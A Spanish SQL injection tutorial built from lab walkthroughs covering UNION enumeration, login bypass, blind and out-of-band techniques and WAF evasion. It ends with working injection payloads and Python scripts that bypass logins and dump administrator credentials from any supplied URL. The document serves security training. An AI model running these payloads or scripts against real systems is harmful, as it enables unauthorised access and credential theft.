Cuando tenemos una SQLi, podemos enumerar la DB, pero para lograr esto, necesitamos la informacion de las columnas y nombres de las tablas si es que queremos extraer informacion de estos.
Enumeración del número de columnas
Podemos usar un order by para hacer una enumeración simple. Esto le dice a la DB que ordene los resultados de la query por el valor del resultado en una o más columnas. Se puede usar el nombre de las columnas o el index en la query:
http://192.168.216.10/debug.php?id=1 order by 1
Esta query le indica a la DB que ordene los resultados en base al valor de la primera columna. Si se tiene al menos una columna, se enviará la información sin errores:
ORDER BY Payload 01
ORDER BY Payload 02
ORDER BY Payload 03
ORDER BY Payload 04
Entendiendo el layout de la salida
Podemos usar la declaración UNION para extraer data, en base a la cantidad de columnas de la tabla. UNIONpermite agregar una segunda declaración select a la query original, extendiendo nuestra capacidad (cada declaración debe retornar la misma cantidad de columnas).
Lo primero es validar qué columnas son mostradas en la página.
Como ya sabemos la cantidad de columnas que se tienen, es necesario chequear cuales se muestran usando la declaración union all select 1, 2, 3:
UNION Payload 01
La columna 1 no se muestra, la 2 muestra el campo del nombre, y la 3 corresponde a los comentarios (el campo Comentario tiene más espacio, por lo que este es un lugar lógico para la salida de nuestro futuro exploit).
Extrayendo data desde la DB (MariaDB)
Validamos la versión de la DB reemplazando el campo 3 con lo siguiente @@version:
Versión de la DB
Ahora lo reemplazamos con user() para obtener el usuario actual de la DB:
Usuario de la DB
Podemos enumerar tablas y columnas de la DB a través de information_schema. Este almacena informacion sobre la DB, como el nombre de las tablas y columnas. Si queremos obtener el nombre de las tablas, se debe usar el siguiente payload table_name from information_schema.tables:
Enumeración de las tablas
Ahora que tenemos el nombre de las tablas, podemos usar el siguiente payload para obtener los nombres de las columnas column_name from information_schema.columns where table_name='users':
Enumeración de las columnas de la tabla users
Con esta información podemos llamar las columnas username y password desde la tabla users:
Dump username y password
Ejecución de código usando SQLi
Lo primero que se puede intentar al ejecutar código desde la base de datos, es leer archivos usando la función load_file:
load_file
Ahora, usando la función INTO OUTFILE, creamos un archivo PHP malicioso, con el cual, podremos ejecutar código:
INTO OUTFILE
Webshell
Con el siguiente payload, obtenemos una full shell:
Full shell
SQLi en la cláusula WHERE, permitiendo obtener datos ocultos
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos.
El ejemplo de la query que se realiza a la DB es la siguiente:
En este caso, debemos desplegar todos los productos de cualquier categoría.
Validamos que nos despliega la aplicación cuando seleccionamos una categoría:
Categorías
Productos
Ahora, modificamos el valor de la categoría por una comilla simple ('):
Payload 1
Al modificar este valor, se presenta un error en la aplicación. Esto se puede deber a que modificamos la query a algo similar a lo siguiente:
Usamos el siguiente payload '-- - para validar si aún se presenta el mismo error:
Payload 2
Si queremos obtener todos los productos, debemos crear una query donde, se valide algún parámetro como verdadero, por lo tanto, usaremos el siguiente payload ' or 1=1 -- -:
Payload 3
Para poder automatizar esto, podemos usar el siguiente script, el cual, valida si se refleja algún producto que no aparece en el catálogo en producción:
Script
SQLi que permita realizar bypass de login
Se tiene la vulnerabilidad en la funcionalidad de login, en la cual, debemos acceder a la aplicación usando el usuario administrator.
Se validan usuarios de prueba, como admin y password admin:
Portal login
Error de usuario o password inválido
Vemos que el error no nos permite enumerar usuarios.
Inyectamos una comilla simple (') en las casillas de usuario y en la de password, y vemos que la aplicación responde con un error en ambos casos:
Error de payload 1
En este caso podemos asumir que la query es la siguiente:
Intentamos ingresar usando el siguiente payload admin' -- -:
Payload 2
Como el usuario admin no existe, no podemos ingresar, por lo tanto, lo modificamos ingresando el usuario administrator:
Payload 3
Explotación de SQLi
Ahora, automatizamos este proceso usando el siguiente script, donde, lo primero es validar como se envían los datos. Esto se puede corroborar usando Burp Suite.
Ya sabiendo como se envían los datos, necesitamos obtener el valor del token CSRF:
CSRF
El script valida que se tenga en la respuesta el texto Log out:
Script
Ataque de SQLi usando UNION para determinar las columnas retornadas por la query
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe determinar la cantidad de columnas retornadas por la DB.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 1
Ahora, al payload le agregamos un comentario para evitar el error ' -- -:
Payload 2
Para este ataque, podemos usar formas para obtener la cantidad de columnas, poder usar valores NULL, u ORDER BY.
Primero validamos usando valores NULL, donde, tendremos el número de columnas cuando la aplicación deje de mostrar error:
Payloads:
Payload UNION 1
Payload UNION 2
Payload UNION 3
Vemos que se retornan 3 columnas. Esto se puede obtener usando ORDER BY, donde, cuando se nos presente un error, significa que nos pasamos de la cantidad de columnas de la respuesta:
Payloads:
Payload ORDER BY 1
Payload ORDER BY 2
Payload ORDER BY 3
Payload ORDER BY 4
Esto lo podemos automatizar usando el siguiente script, el cual, valida la cantidad de columnas usando ORDER BY:
Script
Ataque de SQLi usando UNION para encontrar la columna que contiene texto
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe determinar cuál columna retornada por la DB tiene string como tipo de datos.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 1
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
Payload ORDER BY 1
Payload ORDER BY 2
Payload ORDER BY 3
Payload ORDER BY 4
Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
Payload UNION 1
Payload UNION 2
Payload UNION 3
Vemos que la segunda columna usa el tipo de datos string.
Esto lo podemos automatizar usando el siguiente script:
Script
Ataque de SQLi usando UNION para obtener información de otras tablas
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla users, columnas username y password.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 01
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
Payload ORDER BY 01
Payload ORDER BY 02
Payload ORDER BY 03
Ahora, debemos identificar el tipo de datos de cada una de las columnas, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
Payload UNION 01
Payload UNION 02
En este caso, ambas columnas usan strings.
Por último, obtenemos los datos solicitados, y accedemos usando la cuenta del usuario administrator:
Payload UNION 03
Acceso cuenta Administrator
La obtención de la contraseña del usuario administrator lo podemos automatizar usando el siguiente script:
Contraseña del usuario administrator
Ataque de SQLi usando UNION, recuperando múltiples valores en una sola columna
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla users, columnas username y password.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 01
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
Payload ORDER BY 01
Payload ORDER BY 02
Payload ORDER BY 03
Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
Payload UNION 01
Payload UNION 02
Ahora debemos saber la versión de la DB para poder determinar qué tipo de concatenación podemos usar:
Payload para obtener la versión de la DB
Ya sabemos que usa una DB en PostgreSQL, por lo tanto, podemos concatenar los datos que necesitamos usando el siguiente payload:
Obtención de usuarios y contraseñas
Esto lo podemos automatizar usando el siguiente script:
Obtención de contraseña del usuario administrator
Ataque de SQLi usando UNION, consultando el tipo y la versión de la base de datos en Oracle
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la versión de la DB.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 01
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
Payload ORDER BY 01
Payload ORDER BY 02
Payload ORDER BY 03
Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
Payload UNION 01
Vemos que no funciona de la forma habitual, y esto se debe a que la DB en uso es Oracle (basado en los requerimientos del lab). Para esto, debemos especificar la tabla que queremos consumir, y para esto, usamos la tabla DUAL:
Payload UNION 02
Con esto ya podemos obtener información de la versión de la DB:
Obtención de la versión de la DB
Esto lo podemos automatizar usando el siguiente script:
Script para obtener la versión de la DB Oracle
Ataque de SQLi usando UNION, consultando el tipo y la versión de la base de datos en MySQL
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la versión de la DB.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 01
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
Payload ORDER BY 01
Payload ORDER BY 02
Payload ORDER BY 03
Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
Payload UNION 01
Payload UNION 02
Con esto ya podemos obtener información de la versión de la DB:
Payload para obtener la versión de la DB
Esto lo podemos automatizar usando el siguiente script:
Script para obtener la versión de la DB
Ataque de SQLi usando UNION, listando el contenido de la DB en base de datos no Oracle
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla que contiane los usuarios y contraseñas.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 01
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
ORDER BY Payload 01
ORDER BY Payload 02
ORDER BY Payload 03
Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
UNION Payload 01
UNION Payload 02
Con el siguiente payload obtenemos la versión de la DB:
Sabemos que el nombre de la tabla que contiene los usuarios es users_vvdspp, por lo tanto, podemos obtener las columnas de esta tabla:
column_name
Con estos datos, podemos extraer la información que necesitamos:
Dump username y password
Esto lo podemos automatizar usando el siguiente script:
script
Ataque de SQLi usando UNION, listando el contenido de la DB en base de datos Oracle
Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla que contiane los usuarios y contraseñas.
Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:
Site
Payload 01
Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:
Payloads:
ORDER BY Payload 01
ORDER BY Payload 02
ORDER BY Payload 03
Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:
UNION Payload 01
UNION Payload 02
Con el siguiente payload obtenemos las tablas de la DB:
Con estos datos, podemos extraer la información que necesitamos:
Dump username y password
Esto lo podemos automatizar usando el siguiente script:
Script
Ataque de Blind SQLi con respuestas condicionales
Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.
El resultado de la query no es retornada, y no muestra un mensaje de error, pero, la aplicación incluye un mensaje Welcome back en la página si la query retorna alguna fila.
Debemos obtener el usuario y contraseña del usuario administrator, el cual, se encuentra en la tabla users.
Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingID y session:
Cookies
Ingresamos una comilla simple en el valor de la cookie TrackingID para validar si nos presenta un error:
Site
Payload 01
Ahora, validamos como se comporta con un payload condicional:
Cuando el condicional es TRUE, vemos el mensaje Welcome back:
Payload TRUE
Payload FALSE
Validamos que existe la tabla users:
Validación de la tabla users
Podemos usar los siguientes payloads para corroborar que exista el usuario administrator:
Validación de que el usuario administrator exista
Si queremos saber la longitud de la password, podemos usar el siguiente payload, el cual, si nos responde con un Welcome back, es la longitud que tiene esta:
Para esto, usamos Intruder:
Intruder 01
Intruder 02
Intruder 03
Intruder 04
Ahora buscamos los carácteres de la password:
En este caso, toma el primer carácter y lo iguala a lo que le indiquemos. Si queremos cambiar de carácter a validar, modificamos el primer número.
Esto lo automatizamos usando el ataque de Intruder Cluster bomb:
Cluster bomb 01
Cluster bomb 02
Cluster bomb 03
Cluster bomb 04
Cluster bomb 05
Con el siguiente script, se puede obtener el mismo resultado:
Script
Ataque de Blind SQLi con errores condicionales
Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.
El resultado de la query no es retornada, y solo se muestra un error modificado cuando la query causa alguno.
Debemos obtener el usuario y contraseña del usuario administrator, el cual, se encuentra en la tabla users.
Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:
Cookies
Si agregamos una comilla simple, vemos un error, mientras que al agregar una segunda, este ya no se muestra:
Payload 01
Payload 02
Validamos si concatenando el siguiente payload, se presenta el error:
Payload 03
Vemos que se presenta un error en una query bien formada, por lo tanto, podemos asumir que es una DB Oracle. Por este motivo, usamos el siguiente payload:
Paylod 04
Con esto identificamos que es una DB Oracle.
Ahora, validamos que la tabla users exista en la DB:
Payload 05
Se presenta un error, y esto se puede deber a que estamos pasando un input vacío, y este se puede esta aplicando a las distintas filas de la tabla, por lo tanto, modificamos el payload para que solo valide solo una entrada:
Payload 06
Sabemos que existe la tabla, ahora corroboramos que exista el usuario administrator:
Payload 07
Como no se presenta un error, sabemos que existe el usuario.
Lo anterior lo podemos obtener usando un payload más complejo, en el cual, se valida la sección del FROM, donde, si el usuario a validar existe, realiza lo que se indica en CASE. Si nos muestra un error, significa que el usuario existe, de lo contrario, no existe:
Payload 08
Payload 09
Ya que sabemos que el usuario existe, ahora obtenemos el largo de su contraseña:
Intruder 01
Intruder 02
Intruder 03
La contraseña del usuario administrator es de 20 carácteres.
Ahora enumeramos la contraseña:
Intruder 04
Intruder 05
Intruder 06
Intruder 07
Esto lo podemos automatizar usando el siguiente script:
Script
Ataque de Blind SQLi con tiempos de delay
Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.
El resultado de la query no es retornada, sin embargo, la query se ejecuta de forma sincróna, por lo tanto, es posible gatillar una condicional de tiempo con delay para inferir la información.
Para resolver el laboratorio, se debe causar un delay de 10 segundos.
Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:
Cookies
Inyectamos una comilla simple para validar que sucede con la aplicación:
Payload 01
No presenta errores, por lo tanto, validamos con los siguientes payloads para ver cual tarda 10 segundos en responder:
Payload 02
Payload 03
Vemos que es una DB PostgreSQL.
Esto lo podemos automatizar usando el siguiente script:
Script
Ataque de Blind SQLi con tiempos de delay y obtención de información
Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.
El resultado de la query no es retornada, sin embargo, la query se ejecuta de forma sincróna, por lo tanto, es posible gatillar una condicional de tiempo con delay para inferir la información.
Debemos obtener el usuario y contraseña del usuario administrator, el cual, se encuentra en la tabla users.
Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:
Cookies
Validamos que la cookie es vulnerable:
Tiempo con payload:
Payload 01
Tiempo sin payload:
Payload 02
Confirmamos si existe tabla users en la DB:
Payload 03
Corroboramos que la tabla tenga el usuario administrator:
Payload 04
Enumeramos la longitud de la password:
Para evitar errores, es necesario usar un hilo a la vez.
Intruder 01
Intruder 02
Intruder 03
Intruder 04
Ahora, enumeramos la password del usuario administrator:
Intruder 05
Intruder 06
Intruder 07
Intruder 08
Intruder 09
Esto lo podemos automatizar usando el siguiente script:
Script
Ataque de Blind SQLi con interacción fuera de banda
Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.
La query se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Por lo tanto, se debe gatillar una interacción fuera de banda con algún dominio externo.
Para esto, se debe lograr que se realice un lookup DNS a Burp Collaborator.
Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:
Cookies
Abrimos el cliente de Collaborator, y copiamos el dominio a usar:
Collaborator 01
Collaborator 02
Collaborator 03
Usamos el siguiente payload para hacer el lookup DNS:
Payload 01
Collaborator 04
Ataque de Blind SQLi con exfiltración de datos fuera de banda
Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.
La query se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Por lo tanto, se debe gatillar una interacción fuera de banda con algún dominio externo.
Para esto, se debe obtener la password del usuario administrator, que se encuentra en la tabla users.
Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:
Cookies
Abrimos el cliente de Collaborator, y copiamos el dominio a usar:
Collaborator 01
Collaborator 02
Collaborator 03
Usamos el siguiente payload para exfiltrar los datos solicitados:
Payload 01
Collaborator 04
Login
Administrator account
Ataque de SQLi con bypass de filtros a través de codificación XML
Se tiene una aplicación con una vulnerabilidad de SQLi en la característica de validación de stock. El resultado de la query es devuelta en la respuesta de la aplicación.
Para esto, se debe obtener la password del usuario admin, que se encuentra en la tabla users.
Dentro de las recomendaciones, se indica que el WAF bloqueará ciertos ataques, y por esto, usar la extensión Hackvertos.
Vemos que al seleccionar un producto, aparece un botón que permite validar el stock de este:
Productos
Check stock
Consulta del stock
Validamos las columnas de la tabla usando el payload UNION SELECT NULL:
Payload 01
Este payload fue detectado, por lo tanto, debemos codificar esta consulta. Usando la extensión Hackvertor, codificamos con hex_entities:
Hackvertor
Payload 02
Payload 03
Con esto podemos determinar que se tiene solo una columna.
Para obtener los datos solicitados, usamos el siguiente payload:
SELECT user FROM users WHERE username = 'administrator' and password = 'password'
#!/usr/bin/python3
import requests
import sys
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def get_csrf_token(s, url):
r = s.get(url, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find('input')['value']
print('[*] CSRF Token: %s' %(csrf))
return csrf
def exploit_sqli(s, url, payload):
csrf = get_csrf_token(s, url)
data = {'csrf': csrf,
'username': payload,
'password': 'password'}
r = s.post(url, data=data, verify=False)
if 'Log out' in r.text:
return True
else:
return False
def main():
try:
url = sys.argv[1].strip()
payload = sys.argv[2].strip()
except IndexError:
print('[*] Usage: %s <url> <payload>' %(sys.argv[0]))
print('[*] Example: %s www.test.com "or 1=1"' %(sys.argv[0]))
sys.exit(1)
s = requests.Session()
if exploit_sqli(s, url, payload):
print('[+] SQL injection successful! It was possible to logged in as the administrator user.')
else:
print('[-] SQL injection unsuccessful!')
if __name__ == '__main__':
main()
' UNION SELECT NULL-- -
' UNION SELECT NULL, NULL-- -
' UNION SELECT NULL, NULL, NULL-- -
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
#!/usr/bin/python3
import requests
import sys
requests.packages.urllib3.disable_warnings()
def exploit_sqli(url):
uri = '/filter?category=Gifts'
for i in range(1, 50):
payload = "'+ORDER+BY+%s--+-" %i
r = requests.get(url + uri + payload, verify=False)
if 'Internal Server Error' in r.text:
return i - 1
i = i + 1
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
print('[+] Figuring out number of columns...')
num_col = exploit_sqli(url)
if num_col:
print('[+] The number of columns is ' + str(num_col) + '.')
else:
print('[-] SQL injection unsuccessful!')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
' UNION SELECT 'a', NULL, NULL-- -
' UNION SELECT NULL, 'a', NULL-- -
' UNION SELECT NULL, NULL, 'a'-- -
#!/usr/bin/python3
import requests
import sys
requests.packages.urllib3.disable_warnings()
def exploit_sqli(url, uri):
for i in range(1, 50):
payload = "'+ORDER+BY+%s--+-" %i
r = requests.get(url + uri + payload, verify=False)
if 'Internal Server Error' in r.text:
return i - 1
i = i + 1
return False
def exploit_sqli_string_field(url, uri, num_col):
for i in range(1, num_col + 1):
string = "'AsDfG123'"
payload_list = ['NULL'] * num_col
payload_list[i - 1] = string
sqli_payload = "' UNION SELECT " + "," .join(payload_list) + "-- -"
r = requests.get(url + uri + sqli_payload, verify=False)
if string.strip('\'') in r.text:
return i
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
uri = '/filter?category='
print('[+] Figuring out number of columns...')
num_col = exploit_sqli(url, uri)
if num_col:
print('[+] The number of columns is ' + str(num_col) + '.')
print('[+] Figuring out which column contains text...')
string_column = exploit_sqli_string_field(url, uri, num_col)
if string_column:
print('[+] The column ' + str(string_column) + ' contains text.')
else:
print('[-] SQL injection was unsuccessful in identifying the data type of columns')
else:
print('[-] SQL injection unsuccessful!')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
' UNION SELECT username, password FROM users-- -
#!/usr/bin/python3
import requests
import sys
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def exploit_sqli(url, uri):
sql_payload = "'+UNION+SELECT+username,+password+FROM+users--+-"
r = requests.get(url + uri + sql_payload, verify=False)
if 'administrator' in r.text:
print('[+] Found the administrator password.')
soup = BeautifulSoup(r.text, 'html.parser')
admin_password = soup.body.find(string='administrator').parent.findNext('td').contents[0]
print('[*] administrator:%s' %(admin_password))
return True
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
uri = '/filter?category='
print('[+] Dumping the list of usernames and passwords...')
if not exploit_sqli(url, uri):
print('[-] SQL injection unsuccessful!')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
' UNION SELECT NULL, version()-- -
' UNION SELECT NULL, username||':'||password FROM users-- -
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def exploit_sqli(url, uri):
sql_payload = "'+UNION+SELECT+NULL,+username||':'||password+FROM+users--+-"
r = requests.get(url + uri + sql_payload, verify=False)
if 'administrator' in r.text:
print('[+] Found the administrator password.')
soup = BeautifulSoup(r.text, 'html.parser')
admin_password = soup.body.find(string=re.compile('.*administrator*'))
print('[*] %s' %(admin_password))
return True
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
uri = '/filter?category='
print('[+] Dumping the list of usernames and passwords...')
if not exploit_sqli(url, uri):
print('[-] SQL injection unsuccessful!')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
' UNION SELECT 'a', 'a' FROM DUAL-- -
' UNION SELECT 'a', banner FROM v$version-- -
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def exploit_sqli(url, uri):
sql_payload = "'+UNION+SELECT+banner,+NULL+FROM+v$version--+-"
r = requests.get(url + uri + sql_payload, verify=False)
if 'Oracle Database' in r.text:
print('[+] Found the database version.')
soup = BeautifulSoup(r.text, 'html.parser')
db_version = soup.body.find(string=re.compile('.*Oracle\sDatabase*'))
print('[*] The Oracle database version is: %s' %(db_version))
return True
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
uri = '/filter?category='
print('[+] Dumping the version of the database...')
if not exploit_sqli(url, uri):
print('[-] SQL injection unsuccessful!')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
' UNION SELECT NULL, @@version-- -
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def exploit_sqli(url, uri):
sql_payload = "'+UNION+SELECT+NULL,+@@version--+-"
r = requests.get(url + uri + sql_payload, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
db_version = soup.find(string=re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*'))
if db_version is None:
return False
else:
print('[*] The MySQL database version is: %s' %(db_version))
return True
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
uri = '/filter?category='
print('[+] Dumping the version of the database...')
if not exploit_sqli(url, uri):
print('[-] Unable to dump the database version.!')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
' UNION SELECT NULL, version()-- -
' UNION SELECT NULL, table_name FROM information_schema.tables-- -
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'users_vvdspp'-- -
' UNION SELECT username_aoessn, password_hwpmpd FROM users_vvdspp-- -
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def perform_request(url, sql_payload):
uri = '/filter?category='
r = requests.get(url + uri + sql_payload, verify=False)
return r.text
def sqli_users_table(url):
sql_payload = "'+UNION+SELECT+NULL,+table_name+FROM+information_schema.tables--+-"
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
db_tables = soup.find(string=re.compile('.*users.*'))
if db_tables:
return db_tables
else:
return False
def sqli_users_columns(url, users_table):
sql_payload = "'+UNION+SELECT+NULL,+column_name+FROM+information_schema.columns+WHERE+table_name+=+'%s'--+-" %(users_table)
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
username_column = soup.find(string=re.compile('.*username.*'))
password_column = soup.find(string=re.compile('.*password.*'))
if username_column and password_column:
return username_column, password_column
else:
return False
def sqli_administrator_cred(url, users_table, username_column, password_column):
sql_payload = "'+UNION+SELECT+%s,+%s+FROM+%s--+-" %(username_column, password_column, users_table)
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
admin_cred = soup.body.find(string="administrator").parent.findNext('td').contents[0]
if admin_cred:
return admin_cred
else:
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
print('[+] Looking for users table...')
users_table = sqli_users_table(url)
if users_table:
print('[+] User table name: %s' %(users_table))
username_column, password_column = sqli_users_columns(url, users_table)
if username_column and password_column:
print('[+] Username column name: %s' %(username_column))
print('[+] Password column name: %s' %(password_column))
admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
if admin_password:
print('[+] Cred: "administrator:%s"' %(admin_password))
else:
print('[-] Did not find the administrator password.')
else:
print('[-] Did not find the username and/or password columns.')
else:
print('[-] Did not find a users table.')
if __name__ == '__main__':
main()
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' UNION SELECT 'a', NULL FROM DUAL-- -
' UNION SELECT NULL, 'a' FROM DUAL-- -
' UNION SELECT NULL, table_name FROM all_tables-- -
' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_YHDUDN'-- -
' UNION SELECT USERNAME_KCUFMJ, PASSWORD_IPBYMR FROM USERS_YHDUDN-- -
#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def perform_request(url, sql_payload):
uri = '/filter?category='
r = requests.get(url + uri + sql_payload, verify=False)
return r.text
def sqli_users_table(url):
sql_payload = "'+UNION+SELECT+NULL,+table_name+FROM+all_tables--+-"
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
db_tables = soup.find(string=re.compile('^USERS\_.*'))
if db_tables:
return db_tables
else:
return False
def sqli_users_columns(url, users_table):
sql_payload = "'+UNION+SELECT+NULL,+column_name+FROM+all_tab_columns+WHERE+table_name+=+'%s'--+-" %(users_table)
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
username_column = soup.find(string=re.compile('.*USERNAME.*'))
password_column = soup.find(string=re.compile('.*PASSWORD.*'))
if username_column and password_column:
return username_column, password_column
else:
return False
def sqli_administrator_cred(url, users_table, username_column, password_column):
sql_payload = "'+UNION+SELECT+%s,+%s+FROM+%s--+-" %(username_column, password_column, users_table)
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
admin_cred = soup.body.find(string="administrator").parent.findNext('td').contents[0]
if admin_cred:
return admin_cred
else:
return False
def main():
try:
url = sys.argv[1].strip()
except IndexError:
print('[*] Usage: %s <url>' %(sys.argv[0]))
print('[*] Example: %s www.test.com' %(sys.argv[0]))
sys.exit(1)
print('[+] Looking for users table...')
users_table = sqli_users_table(url)
if users_table:
print('[+] User table name: %s' %(users_table))
username_column, password_column = sqli_users_columns(url, users_table)
if username_column and password_column:
print('[+] Username column name: %s' %(username_column))
print('[+] Password column name: %s' %(password_column))
admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
if admin_password:
print('[+] Cred: "administrator:%s"' %(admin_password))
else:
print('[-] Did not find the administrator password.')
else:
print('[-] Did not find the username and/or password columns.')
else:
print('[-] Did not find a users table.')
if __name__ == '__main__':
main()